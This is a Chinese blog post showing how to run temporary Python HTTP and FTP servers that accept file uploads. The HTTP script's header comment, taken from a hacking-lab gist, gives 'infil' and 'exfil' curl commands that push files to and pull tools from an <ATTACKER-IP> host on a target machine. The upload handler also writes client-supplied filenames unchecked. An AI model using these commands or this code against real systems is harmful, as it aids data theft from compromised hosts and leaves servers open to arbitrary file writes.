用Python快速搭建支持上传功能的HTTP/FTP服务


=Start=

缘由:

简单整理一下在Linux服务器上用Python快速创建支持上传(下载)功能的FTP/HTTP服务的方法,方便有需要的时候参考和使用。

正文:

参考解答:

有些时候因为测试需要临时搭建一些环境用于问题验证,专门去下载对应的软件然后安装配置还是有点麻烦,所以想着去搜索整理一些简单快速(尽可能利用现有环境资源,不安装或少安装额外的库/软件,不运行未经过人工审计确认过的大段代码/程序,减小中招概率)去搭建测试环境的方法,方便有需要的时候进行使用。

另外就是需要提前说明的就是,这里搭建的HTTP/FTP服务只适用于临时使用,在使用完了之后最好立即退出,避免出现一些意想不到的问题。

考虑到Python在绝大多数的Linux发行版当中都默认安装,所以平时在(跨平台)传输文件的时候就经常会用到Python的SimpleHTTPServer模块,以HTTP方式共享当前文件夹的文件。

$ python -m SimpleHTTPServer 9000

$ python3 -m http.server 9000

对于文件的下载来说默认的SimpleHTTPServer模块就够了,但是通过这种方式启动的HTTP服务仅支持下载不支持上传,所以下面的内容主要是为了实现一个支持上传功能的HTTP服务。原理本身并不复杂,在此基础上也可根据需要进行简单改写以满足特定需求,我只是为了记录一下方便后面参考,所以这里直接放一些验证过可用的简短代码,想要详细的可以看后面的参考链接进一步查看。

-- 搭建HTTP服务,挑了个代码短的方便展现
#!/usr/env python3
########################################################################
#
#  Simple HTTP server that  supports file upload  for moving data around
#  between boxen on HTB. Based on a gist by bones7456, but mangled by me 
#  as I've tried  (badly) to port it to Python 3, code golf it, and make
#  It a  little more  robust. I was also able to  strip out a lot of the 
#  code trivially  because Python3 SimpleHTTPServer is  a thing, and the
#  cgi module handles multipart data nicely.
#
#  Lifted from: https://gist.github.com/UniIsland/3346170
#
#  Important to note that this tool is quick and dirty and is a good way
#  to get yourself  popped if you're leaving it  running out in the real
#  world. 
#
#  Run it on your attack box from the folder that contains your tools.
#
#  From the target machine:
#  Infil file: curl -O http://<ATTACKER-IP>:44444/<FILENAME>
#  Exfil file: curl -F 'file=@<FILENAME>' http://<ATTACKER-IP>:44444/
# 
#  Multiple file upload supported, just add more -F 'file=@<FILENAME>'
#  parameters to the command line.
#
########################################################################
import http.server
import socketserver
import io
import cgi

# Change this to serve on a different port
PORT = 44444

class CustomHTTPRequestHandler(http.server.SimpleHTTPRequestHandler):

    def do_POST(self):        
        r, info = self.deal_post_data()
        print(r, info, "by: ", self.client_address)
        f = io.BytesIO()
        if r:
            f.write(b"Success\n")
        else:
            f.write(b"Failed\n")
        length = f.tell()
        f.seek(0)
        self.send_response(200)
        self.send_header("Content-type", "text/plain")
        self.send_header("Content-Length", str(length))
        self.end_headers()
        if f:
            self.copyfile(f, self.wfile)
            f.close()      

    def deal_post_data(self):
        ctype, pdict = cgi.parse_header(self.headers['Content-Type'])
        pdict['boundary'] = bytes(pdict['boundary'], "utf-8")
        pdict['CONTENT-LENGTH'] = int(self.headers['Content-Length'])
        if ctype == 'multipart/form-data':
            form = cgi.FieldStorage( fp=self.rfile, headers=self.headers, environ={'REQUEST_METHOD':'POST', 'CONTENT_TYPE':self.headers['Content-Type'], })
            print (type(form))
            try:
                if isinstance(form["file"], list):
                    for record in form["file"]:
                        open("./%s"%record.filename, "wb").write(record.file.read())
                else:
                    open("./%s"%form["file"].filename, "wb").write(form["file"].file.read())
            except IOError:
                    return (False, "Can't create file to write, do you have permission to write?")
        return (True, "Files uploaded")

Handler = CustomHTTPRequestHandler
with socketserver.TCPServer(("", PORT), Handler) as httpd:
    print("serving at port", PORT)
    httpd.serve_forever()
-- 搭建FTP服务,需先额外安装pyftpdlib模块
#!/usr/bin/env python
# coding=utf-8

from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer
from pyftpdlib.authorizers import DummyAuthorizer


class MyHandler(FTPHandler):

    def on_connect(self):
        print ("%s:%s connected" % (self.remote_ip, self.remote_port))

    def on_disconnect(self):
        # do something when client disconnects
        pass

    def on_login(self, username):
        # do something when user login
        pass

    def on_logout(self, username):
        # do something when user logs out
        pass

    def on_file_sent(self, file):
        # do something when a file has been sent
        print(self.username, file)
        pass

    def on_file_received(self, file):
        # do something when a file has been received
        print(self.username, file)
        pass

    def on_incomplete_file_sent(self, file):
        # do something when a file is partially sent
        print(self.username, file)
        pass

    def on_incomplete_file_received(self, file):
        # remove partially uploaded files
        import os
        os.remove(file)


def main():
    authorizer = DummyAuthorizer()
    authorizer.add_user('user', 'userpass123', homedir='.', perm='elradfmwMT')
    authorizer.add_anonymous(homedir='/tmp/')

    handler = MyHandler
    handler.authorizer = authorizer
    server = FTPServer(('', 9999), handler)
    server.serve_forever()

if __name__ == "__main__":
    main()
参考链接:

Simple Python Http Server with Upload – Python3 version (测试OK)
https://gist.github.com/touilleMan/eb02ea40b93e52604938

[x]Python SimpleHTTPServer to receive files (测试OK,页面仅支持浏览,上传需要通过curl等命令进行POST操作)
https://stackoverflow.com/questions/39788591/python-simplehttpserver-to-receive-files
https://gist.github.com/smidgedy/1986e52bb33af829383eb858cb38775c

python simple http server with upload & download (测试OK,页面浏览功能不支持;另外就是因为仅改写了PUT操作的代码,所以仅支持用PUT方法上传文件)
https://gist.github.com/darkr4y/761d7536100d2124f5d0db36d4890109
Receiving files over HTTP with Python
https://floatingoctothorpe.uk/2017/receiving-files-over-http-with-python.html

Python’s http.server extended to include a file upload page (因为要额外安装包,所以暂未测试)
https://pypi.org/project/uploadserver/
https://github.com/Densaugeo/uploadserver

One line ftp server in python
https://stackoverflow.com/questions/4994638/one-line-ftp-server-in-python
https://docs.twistedmatrix.com/en/stable/core/examples/#ftp-examples

[y]Extremely fast and scalable Python FTP server library
https://github.com/giampaolo/pyftpdlib
https://pyftpdlib.readthedocs.io/en/latest/tutorial.html#event-callbacks

Pyftpdlib 使用方法
https://blog.csdn.net/xuq09/article/details/84936853

python-ftp-server (Command line FTP server tool designed for performance and ease of use.)
https://pypi.org/project/python-ftp-server/

=END=


发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注